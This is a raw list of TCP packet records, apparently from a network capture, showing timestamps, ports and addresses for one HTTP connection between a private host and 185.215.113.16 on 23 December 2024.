Dec 23, 2024 08:07:57.251535892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.251584053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.251709938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.252545118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.252583027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.252616882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.253498077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.253551006 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.253570080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.254527092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.254584074 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.254628897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.255625010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.255678892 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.255722046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.256525993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.256580114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.256622076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.257510900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.257564068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.257623911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.258616924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.258676052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.258678913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.259166002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.259537935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.259579897 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.259627104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.260554075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.260618925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.260620117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.261611938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.261678934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.261718035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.262538910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.262603998 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.262650967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.263617039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.263662100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.263708115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.264601946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.264652967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.264717102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.265587091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.265652895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.265742064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.266586065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.266629934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.266633034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.267601013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.267658949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.267674923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.268585920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.268631935 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.268661976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.269597054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.269695044 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.269756079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.270596027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.270672083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.270694017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.271589994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.271630049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.271719933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.272243023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.272598982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.272648096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.272692919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.273588896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.273624897 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.273701906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.274594069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.274660110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.274687052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.275619984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.275685072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.275715113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.276650906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.276710033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.276717901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.277642012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.277714968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.277751923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.278616905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.278661966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.278737068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.279622078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.279665947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.279701948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.280610085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.280656099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.280719042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.281627893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.281698942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.281745911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.282624960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.282701015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.282727003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.283618927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.283668995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.283710003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.284632921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.284739017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.284764051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.285635948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.285708904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.285769939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.286689997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.286727905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.286791086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.310324907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.427038908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.427057028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.427129984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.427406073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.427597046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.427663088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.428416967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.428518057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.428569078 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.429414988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.429462910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.429502964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.430409908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.430526018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.430581093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.431425095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.431580067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.431617975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.432468891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.432614088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.432657003 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.433410883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.433521986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.433563948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.434418917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.434572935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.434653044 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.435444117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.435547113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.435591936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.436448097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.436568022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.436604023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.437436104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.437532902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.437639952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.438488007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.438508034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.438546896 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.439470053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.439562082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.439618111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.440445900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.440557957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.440597057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.441448927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.441579103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.441631079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.442455053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.442574978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.442620039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.443496943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.443576097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.443619967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.444462061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.444569111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.444726944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.445453882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.445508003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.445578098 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.446465969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.446568012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.446609020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.447453976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.447571993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.447606087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.448487043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.448605061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.448657036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.449482918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.449593067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.449644089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.449954987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.450489998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.450583935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.450618982 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.451498032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.451559067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.451602936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.452495098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.452590942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.452625990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.453496933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.453536987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.453623056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.454503059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.454602957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.455189943 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.455511093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.455610991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.455835104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.456515074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.456608057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.457339048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.457590103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.457696915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.457820892 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.458506107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.458630085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.458693981 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.459520102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.459646940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.459702015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.460503101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.460616112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.460654974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.461530924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.461642981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.461734056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.462515116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.462625980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.462677956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.463495016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.463536978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.463648081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.463887930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.464569092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.464682102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.464725971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.465538025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.465636969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.465681076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.466545105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.466619968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.466689110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.467533112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.467652082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.467691898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.468560934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.468662977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.468709946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.469547033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.469598055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.469680071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.470551968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.470746994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.471278906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.471581936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.471668959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.471937895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.472569942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.472661972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.472795010 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.473557949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.473680973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.473731995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.474562883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.474653006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.474689960 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.475560904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.475675106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.475752115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.476578951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.476663113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.476706028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.477579117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.477705956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.477730989 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.478581905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.478635073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.478645086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.479558945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.479633093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.530230045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.595863104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.619182110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.619208097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.619252920 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.619632006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.619735956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.619785070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.620637894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.620718956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.620758057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.621671915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.621691942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.621757030 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.622658014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.622740030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.622802019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.623672009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.623809099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.623902082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.624640942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.624738932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.624782085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.624819040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.625633955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.625740051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.625787973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.626643896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.626724005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.626760960 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.627646923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.627748966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.627861977 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.628649950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.628796101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.628842115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.629658937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.629723072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.629831076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.630683899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.630728006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.630779028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.631670952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.631756067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.632208109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.632679939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.632859945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.632900953 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.633661032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.633721113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.633779049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.634665966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.634818077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.634862900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.635694981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.635771990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.635812044 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.636676073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.636781931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.636827946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.637675047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.637792110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.637835979 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.638689995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.638808012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.638873100 CET	49744	80	192.168.2.4	185.215.113.16
